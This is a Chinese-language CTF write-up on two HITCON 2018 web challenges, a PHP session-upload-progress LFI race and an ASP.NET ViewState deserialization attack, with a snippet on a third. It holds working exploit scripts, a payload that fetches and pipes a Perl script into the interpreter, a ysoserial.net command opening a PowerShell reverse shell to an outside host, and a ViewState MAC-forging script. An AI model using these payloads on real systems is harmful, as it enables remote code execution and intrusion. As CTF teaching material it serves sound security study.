<p>(之前在某場中國CTF似乎碰過，但我賽中完全沒想到QQ)</p>
<p>他主要是用來給我們監控上傳檔案進度的功能</p>
<p>詳細可以參考 <a href="http://php.net/manual/zh/session.upload-progress.php" target="_blank" rel="external">http://php.net/manual/zh/session.upload-progress.php</a></p>
<p>簡單說，當<code>session.upload_progress.enabled</code>開啟時，我們可以發送POST請求</p>
<p>PHP會在<code>$_SESSION</code>中添加我們的資料，若配合LFI，就能getshell</p>
<p>當<code>session.upload_progress.cleanup=on</code>時，上傳成功的Session會立刻銷毀，必須Race condition來getshell</p>
<p>由於題目有給我們版本資訊，我們可以知道該版本session存放路徑為<code>/var/lib/php/sessions</code></p>
<p>成功上傳的SESSION內容會放在<code>sess_{PHPSESSID}</code>中</p>
<p>裡頭內容大致上長這樣:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">upload_progress_aaaa|a:5:&#123;s:10:&quot;start_time&quot;;i:1540600520;s:14:&quot;content_length&quot;;i:7182;s:15:&quot;bytes_processed&quot;;i:5357;s:4:&quot;done&quot;;b:0;s:5:&quot;files&quot;;a:1:&#123;i:0;a:7:&#123;s:10:&quot;field_name&quot;;s:1:&quot;f&quot;;s:4:&quot;name&quot;;s:6:&quot;passwd&quot;;s:8:&quot;tmp_name&quot;;N;s:5:&quot;error&quot;;i:0;s:4:&quot;done&quot;;b:0;s:10:&quot;start_time&quot;;i:1540600520;s:15:&quot;bytes_processed&quot;;i:5357;&#125;&#125;&#125;</div></pre></td></tr></table></figure>
<p>所以我們已經可以控制檔名和一部分裡頭的內容了</p>
<p>接著就是想辦法通過開頭為<code>@&lt;?php</code>的檢查</p>
<p>這裡可以利用到php warpper的特性</p>
<p>他可以針對輸入流做base64, rot13, …等各種encode/decode</p>
<p>而<code>file</code>和<code>include()</code>都支援這種用法</p>
<p>我們只要想辦法找出一種組合讓最後SESSION內容變成<code>@&lt;?php</code>開頭就行!</p>
<p>這邊orange官方做法是去Base64 Decode三次</p>
<p>讓他Decode完結果剛好前面多餘的<code>upload_progress_</code>字串都爛掉，只留我們最後可控的部分</p>
<p>由於要decode三次，所以得保證三次decode完要變空字串，且不會吃到後面我們真正要放的<code>@&lt;?php xxx</code></p>
<p>這邊orange的做法是先塞<code>ZZ</code>在payload前，如此一來<code>upload_progress_ZZ</code>去base64 decode三次之後剛好會變空字串，且不會影響到後面</p>
<p>隨便亂塞的話，影響到後面的機率非常高，因為base64 decode是4個bytes、4個bytes去抓</p>
<p>只要中間值的範圍內可見字元非4的倍數就會往後抓，往後抓就很容易搞爛我們的payload</p>
<p>(p.s. php base64塞非範圍內字元不會影響結果，所以<code>_</code>之類的字元不影響)</p>
<p><img src="https://i.imgur.com/mXenNhd.png" alt=""></p>
<p>然後後面部分還要注意三次decode時，中間值不能有<code>=</code>，測試發現<code>php://filter</code>在base64 decode遇到<code>XXX=YYY</code>這種狀況，decode會噴錯<br>(用<code>base64_decode()</code>就不會)</p>
<p>所以像以下orange的exp，就特別去random找中間值不會出現<code>=</code>的junk字串塞在後面</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> sys</div><div class="line"><span class="keyword">import</span> string</div><div class="line"><span class="keyword">import</span> requests</div><div class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64encode</div><div class="line"><span class="keyword">from</span> random <span class="keyword">import</span> sample, randint</div><div class="line"><span class="keyword">from</span> multiprocessing.dummy <span class="keyword">import</span> Pool <span class="keyword">as</span> ThreadPool</div><div class="line"></div><div class="line"></div><div class="line"></div><div class="line">HOST = <span class="string">'http://54.250.246.238/'</span></div><div class="line">sess_name = <span class="string">'iamorange'</span></div><div class="line"></div><div class="line">headers = &#123;</div><div class="line">    <span class="string">'Connection'</span>: <span class="string">'close'</span>, </div><div class="line">    <span class="string">'Cookie'</span>: <span class="string">'PHPSESSID='</span> + sess_name</div><div class="line">&#125;</div><div class="line"></div><div class="line">payload = <span class="string">'@&lt;?php `curl orange.tw/w/bc.pl|perl -`;?&gt;'</span></div><div class="line"></div><div class="line"></div><div class="line"><span class="keyword">while</span> <span class="number">1</span>:</div><div class="line">    junk = <span class="string">''</span>.join(sample(string.ascii_letters, randint(<span class="number">8</span>, <span class="number">16</span>)))</div><div class="line">    x = b64encode(payload + junk)</div><div class="line">    xx = b64encode(b64encode(payload + junk))</div><div class="line">    xxx = b64encode(b64encode(b64encode(payload + junk)))</div><div class="line">    <span class="keyword">if</span> <span class="string">'='</span> <span class="keyword">not</span> <span class="keyword">in</span> x <span class="keyword">and</span> <span class="string">'='</span> <span class="keyword">not</span> <span class="keyword">in</span> xx <span class="keyword">and</span> <span class="string">'='</span> <span class="keyword">not</span> <span class="keyword">in</span> xxx:</div><div class="line">        payload = xxx</div><div class="line">        <span class="keyword">print</span> payload</div><div class="line">        <span class="keyword">break</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">runner1</span><span class="params">(i)</span>:</span></div><div class="line">    data = &#123;</div><div class="line">        <span class="string">'PHP_SESSION_UPLOAD_PROGRESS'</span>: <span class="string">'ZZ'</span> + payload + <span class="string">'Z'</span></div><div class="line">    &#125;</div><div class="line">    <span class="keyword">while</span> <span class="number">1</span>:</div><div class="line">        fp = open(<span class="string">'/etc/passwd'</span>, <span class="string">'rb'</span>)</div><div class="line">        r = requests.post(HOST, files=&#123;<span class="string">'f'</span>: fp&#125;, data=data, headers=headers)</div><div class="line">        fp.close()</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">runner2</span><span class="params">(i)</span>:</span></div><div class="line">    filename = <span class="string">'/var/lib/php/sessions/sess_'</span> + sess_name</div><div class="line">    filename = <span class="string">'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'</span> % filename</div><div class="line">    <span class="comment"># print filename</span></div><div class="line">    <span class="keyword">while</span> <span class="number">1</span>:</div><div class="line">        url = <span class="string">'%s?orange=%s'</span> % (HOST, filename)</div><div class="line">        r = requests.get(url, headers=headers)</div><div class="line">        c = r.content</div><div class="line">        <span class="keyword">if</span> c <span class="keyword">and</span> <span class="string">'orange'</span> <span class="keyword">not</span> <span class="keyword">in</span> c:</div><div class="line">            <span class="keyword">print</span> [c]</div><div class="line"></div><div class="line"></div><div class="line"><span class="keyword">if</span> sys.argv[<span class="number">1</span>] == <span class="string">'1'</span>:</div><div class="line">    runner = runner1</div><div class="line"><span class="keyword">else</span>:</div><div class="line">    runner = runner2</div><div class="line"></div><div class="line">pool = ThreadPool(<span class="number">32</span>)</div><div class="line">result = pool.map_async( runner, range(<span class="number">32</span>) ).get(<span class="number">0xffff</span>)</div></pre></td></tr></table></figure>
<p><img src="https://i.imgur.com/NBzQDob.png" alt=""></p>
<p>除了<code>base64_decode</code>外，也可以用各種encode方法，例如<code>strip_tags</code>，只要讓開頭最後變成<code>@&lt;?php</code>即可</p>
<p><br></p>
<h1 id="Why_so_Serials_3F"><a href="#Why_so_Serials_3F" class="headerlink" title="Why so Serials?"></a>Why so Serials?</h1><p><img src="https://i.imgur.com/f7kOk3E.png" alt=""></p>
<p>P.S. 因為以前幾乎沒碰過ASP.net的題目，所以這邊主要是根據<a href="https://cyku.tw/ctf-hitcon-2018-why-so-serials/" target="_blank" rel="external">cyku的writeup</a>和<a href="https://github.com/orangetw/My-CTF-Web-Challenges#why-so-serials" target="_blank" rel="external">orange的writeup</a>整理和各種google查資料學習而來</p>
<p>這題題目只有一個上傳頁面<code>Default.aspx</code></p>
<p>有給Source Code: <a href="http://13.115.118.60/Default.aspx.txt" target="_blank" rel="external">http://13.115.118.60/Default.aspx.txt</a></p>
<p>從Code可以看到，幾乎所有可以執行的副檔名都擋光了</p>
<p><a href="https://msdn.microsoft.com/en-us/library/2wawkw1c.aspx" target="_blank" rel="external">ASP.NET Web Project File Types</a></p>
<p>但是可以發現他沒擋掉<code>.shtml</code></p>
<p><a href="http://13.115.118.60/kaibro.shtml" target="_blank" rel="external">http://13.115.118.60/kaibro.shtml</a></p>
<p>隨便踹一下，從錯誤訊息會看到<code>SSINC-shtml</code></p>
<p><img src="https://i.imgur.com/BRRmxrf.png" alt=""></p>
<p>因此可以知道Server有開SSI(Server Side Include)</p>
<p>所以可以透過上傳<code>.shtml</code>, <code>.shtm</code>等副檔名的檔案來達到File Inclusion</p>
<p>其實SSI也有機會直接RCE，可以用<code>&lt;!--#exec cmd=&quot;command&quot;--&gt;</code></p>
<p>但試了一下，發現Server沒開EXEC，此路不通</p>
<p><img src="https://i.imgur.com/Whk0KIy.png" alt=""></p>
<p>那我們就只能從讀檔下手了</p>
<p>上傳<code>&lt;!--#include file=&quot;../../web.config&quot;--&gt;</code>後</p>
<p>我們可以看到<code>machinekey</code></p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="php"><span class="meta">&lt;?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span><span class="meta">?&gt;</span></span></div><div class="line"><span class="tag">&lt;<span class="name">configuration</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">system.web</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">customErrors</span> <span class="attr">mode</span>=<span class="string">"Off"</span>/&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">machineKey</span> <span class="attr">validationKey</span>=<span class="string">"b07b0f97365416288cf0247cffdf135d25f6be87"</span> <span class="attr">decryptionKey</span>=<span class="string">"6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3"</span> <span class="attr">decryption</span>=<span class="string">"DES"</span> <span class="attr">validation</span>=<span class="string">"MD5"</span> /&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">system.web</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></div></pre></td></tr></table></figure>
<p>這樣一來我們就得到Machinekey了，所以加解密、MAC都沒問題惹</p>
<p>所以這題另一考點就是在<code>ViewState</code></p>
<p>ViewState會把Web Form的內容保存下來，所以我們查看網頁原始碼可以看到有一些hidden的input tag，這樣做可以減少Server負擔</p>
<p>(Client這邊反而Loading增加)</p>
<p>這邊可以看詳細ViewState介紹 <a href="https://msdn.microsoft.com/en-us/library/ms972976.aspx" target="_blank" rel="external">https://msdn.microsoft.com/en-us/library/ms972976.aspx</a></p>
<p>最重要的地方是ViewState存放的資料會經過序列化，取出時會反序列化</p>
<p>所以這邊其實就有一個反序列化漏洞，透過pwntester的<a href="https://github.com/pwntester/ysoserial.net" target="_blank" rel="external">ysoserial.net</a>就可以直接串Gadget去RCE</p>
<p>只是通常ViewState都會有加密和MAC驗證，沒辦法直接偽造</p>
<p>這時候Machinekey就派上用場了</p>
<p>但其實以這題來說，他並沒有對ViewState加密，我們可以直接得到裡頭的內容 (因為沒有設定<code>viewStateEncryptionMode</code>)</p>
<p>Burp本身可以解ViewState，不喜歡用Burp的也可以找一些Online Decode網站去解ViewState (<a href="https://www.httpdebugger.com/tools/ViewstateDecoder.aspx" target="_blank" rel="external">https://www.httpdebugger.com/tools/ViewstateDecoder.aspx</a>)</p>
<p><img src="https://i.imgur.com/hVgF92c.png" alt=""></p>
<p>可以看到ViewState的確不需要用Key解密，直接Decode就能解出來了</p>
<p>所以接著就去看該怎麼做MAC</p>
<p>這邊就參考Cyku的做法，直接去讀.net做MAC的Source Code</p>
<p>從這個<a href="https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter" target="_blank" rel="external">連結</a>，可以知道，ViewState是透過 <code>ObjectStateFormatter</code> 去做序列化的</p>
<blockquote>
<p>ObjectStateFormatter is used by the PageStatePersister class and classes that derive from it to serialize view state and control state. </p>
</blockquote>
<p>由於.net是open source，我們直接跟一下GitHub上的Code:</p>
<p><a href="https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs#L766-L812" target="_blank" rel="external">https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs#L766-L812</a></p>
<p>其中<a href="https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs#L798-L801" target="_blank" rel="external">第798-801行</a>:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string`</div><div class="line">else if ((_page != null &amp;&amp; _page.EnableViewStateMac) || _macKeyBytes != null) &#123;</div><div class="line">        buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>可以猜測這邊的<code>MachineKeySection.GetEncodedData()</code>應該是關鍵的邏輯部分</p>
<p>跟進<code>MachineKeySection.cs</code>的<a href="https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System.Web/Configuration/MachineKeySection.cs#L791-L823" target="_blank" rel="external">791-823行</a></p>
<p>裡頭呼叫了852-871行的<a href="https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System.Web/Configuration/MachineKeySection.cs#L852-L871" target="_blank" rel="external">HashData
</a></p>
<p>這邊<a href="https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System.Web/Configuration/MachineKeySection.cs#L857-L858" target="_blank" rel="external">857-858行</a>的<code>s_config.Validation == MachineKeyValidation.MD5</code>應該是去判斷我們web.config中Validation的方法是否是用<code>MD5</code>，是的話就呼叫<code>HashDataUsingNonKeyedAlgorithm()</code></p>
<p>繼續跟進去<a href="https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System.Web/Configuration/MachineKeySection.cs#L1216-L1235" target="_blank" rel="external">這個函數</a>:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line">private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,</div><div class="line">                                                             int start, int length, byte[] validationKey)</div><div class="line">&#123;</div><div class="line">    int     totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);</div><div class="line">    byte [] bAll        = new byte[totalLength];</div><div class="line"></div><div class="line">    Buffer.BlockCopy(buf, start, bAll, 0, length);</div><div class="line">    if (modifier != null) &#123;</div><div class="line">        Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);</div><div class="line">    &#125;</div><div class="line">    Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);</div><div class="line">    if (hashAlgo != null) &#123;</div><div class="line">        return hashAlgo.ComputeHash(bAll);</div><div class="line">    &#125; else &#123;</div><div class="line">        byte[] newHash = new byte[MD5_HASH_SIZE];</div><div class="line">        int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);</div><div class="line">        Marshal.ThrowExceptionForHR(hr);</div><div class="line">        return newHash;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這邊可以觀察到他會把<code>buf</code>從offset 0複製到<code>bAll</code> offset 0開始的位置，複製length長度</p>
<p>後面會將<code>modifier</code>從offset 0複製到<code>bAll</code> offset length開始的位置，也就是從剛剛前面的位置後面繼續複製</p>
<p>最後會再把<code>validationKey</code>從offset複製到<code>bAll</code> offset length開始的位置，也就是直接把剛剛modifier又蓋掉</p>
<p>而<code>modifier</code>的來源是ObjectStateFormatter.cs<br>裡<code>Serialize()</code>的<a href="https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs#L800" target="_blank" rel="external">第800行</a>:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);</div></pre></td></tr></table></figure>
<p>這邊的<code>GetMacKeyModifier()</code></p>
<p><code>GetMacKeyModifier()</code>的Source Code在<code>ObjectStateFormatter.cs</code>的<a href="https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs#L212-L242" target="_blank" rel="external">212-242行</a></p>
<p>可以觀察到在<code>viewStateUserKey != null</code>時，回傳的<code>_macKeyBytes</code>只有4 bytes</p>
<p>所以以這題情況來說，<code>modifier</code>的BlockCopy就完全沒意義，因為他跟<code>validationKey</code>寫入的位置一樣，而<code>validationKey</code>長度又比<code>modifier</code>長</p>
<p>buffer都複製完後，就會開始做以下的Hash:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">byte[] newHash = new byte[MD5_HASH_SIZE];</div><div class="line">int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);</div><div class="line">Marshal.ThrowExceptionForHR(hr);</div><div class="line">return newHash;</div></pre></td></tr></table></figure>
<p>這邊雖然函數名是<code>GetSHA1Hash</code>，但實際回傳是MD5 Hash</p>
<p>所以總結一下，MD5 最後的MAC其實是:</p>
<p><code>md5(serialized_data + validation_key + &quot;\x00\x00\x00\x00&quot;)</code></p>
<p>最後有4 bytes 0的原因是:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">int     totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);</div><div class="line">byte [] bAll        = new byte[totalLength];</div></pre></td></tr></table></figure>
<p><code>bAll</code>在create時，它的長度是serialized data長度+<code>validationKey</code>長度+<code>modifier</code>長度</p>
<p>可是我們<code>modifier</code>和<code>validationKey</code>實際上重疊了，所以會多出最後的<code>modifier</code>長度的空間</p>
<p>到目前為止我們已經知道MAC的生成方法了</p>
<p>接著我們要偽造ViewState，就只需要把偽造的Seriailzed data按照上面方法簽完MAC，再串起來做Base64即可:</p>
<p><code>Base64(serialized_data + MAC)</code></p>
<p>即:</p>
<p><code>Base64(serialized_data + md5(serialized_data + validation_key + &quot;\x00\x00\x00\x00&quot;))</code></p>
<p>OK</p>
<p>懂算法後就能構造Payload了</p>
<p><code>ysoserial.net</code>得先裝個VisualStudio環境Build來跑，頗麻煩</p>
<p>下這行指令就能生成Base64後的Serialized data:</p>
<p><code>ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c &quot;powershell IEX (New-Object System.Net.Webclient).DownloadString(&#39;https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1&#39;);powercat -c kaibro.tw -p 5278 -e cmd&quot; -o base64</code></p>
<p>接著，就照著前面算法去算MAC並append到serialized_data後面做base64:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> base64</div><div class="line"><span class="keyword">import</span> hashlib</div><div class="line"></div><div class="line">serialized_data_b64 = <span class="string">"/wEy7xIAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAtQEvYyBwb3dlcnNoZWxsIElFWCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iZXNpbW9yaGluby9wb3dlcmNhdC9tYXN0ZXIvcG93ZXJjYXQucHMxJyk7cG93ZXJjYXQgLWMga2FpYnJvLnR3IC1wIDUyNzggLWUgY21kBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="</span></div><div class="line"></div><div class="line">validation_key = <span class="string">"b07b0f97365416288cf0247cffdf135d25f6be87"</span>.decode(<span class="string">'hex'</span>)</div><div class="line"></div><div class="line">serialized_data = base64.b64decode(serialized_data_b64)</div><div class="line"></div><div class="line">m = hashlib.md5()</div><div class="line"></div><div class="line">m.update(serialized_data + validation_key + <span class="string">"\x00\x00\x00\x00"</span>)</div><div class="line"></div><div class="line">payload = base64.b64encode(serialized_data + m.digest())</div><div class="line"></div><div class="line">print(payload)</div></pre></td></tr></table></figure>
<p>得到的payload就是一個合法的ViewState value，直接塞過去就能Reverse shell !</p>
<p><img src="https://i.imgur.com/Q946Aqv.png" alt=""></p>
<p><img src="https://i.imgur.com/orHuYPD.png" alt=""></p>
<p><code>hitcon{c0ngratulati0ns! you are .net king!}</code></p>
<p>好玩又實用的題目XD</p>
<p><br></p>
<h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul>
<li><a href="https://github.com/orangetw/My-CTF-Web-Challenges" target="_blank" rel="external">https://github.com/orangetw/My-CTF-Web-Challenges</a></li>
<li><a href="https://cyku.tw/ctf-hitcon-2018-why-so-serials/" target="_blank" rel="external">https://cyku.tw/ctf-hitcon-2018-why-so-serials/</a></li>
<li><a href="https://hackmd.io/s/SkxOwAqiQ" target="_blank" rel="external">https://hackmd.io/s/SkxOwAqiQ</a></li>
<li><a href="https://xz.aliyun.com/t/3019" target="_blank" rel="external">https://xz.aliyun.com/t/3019</a></li>
<li><a href="https://xz.aliyun.com/t/3009" target="_blank" rel="external">https://xz.aliyun.com/t/3009</a></li>
<li><a href="http://wonderkun.cc/index.html/?p=718" target="_blank" rel="external">http://wonderkun.cc/index.html/?p=718</a></li>
</ul>
]]></content>
    <summary type="html">
    <![CDATA[<h1 id="u524D_u60C5_u63D0_u8981"><a href="#u524D_u60C5_u63D0_u8981" class="headerlink" title="前情提要"></a>前情提要</h1><p><img src="https://i.imgur.com/axUff6E.png" alt=""></p>
<p>今年跟Balsn, BambooFox, Kerkeryuan共四隊一起組成BFKinesiS</p>
<p>我主要都看Web的部分，雖然很多賽中都沒做出來，但賽後花了點時間檢討了一下</p>
<p>所以就把檢討內容和心路歷程及中間可能碰到的坑打成這篇</p>
<p><br></p>
<h1 id="Baby_Cake"><a href="#Baby_Cake" class="headerlink" title="Baby Cake"></a>Baby Cake</h1><p><img src="https://i.imgur.com/CkQ2rmh.png" alt=""></p>
<p>題目給一個輸入url的地方</p>
<p>送出後，他會發Request去該url，並把Response Body/Header Cache在<code>mycache/IP/md5(url)/</code>下面</p>
<p>另外有給Source Code</p>
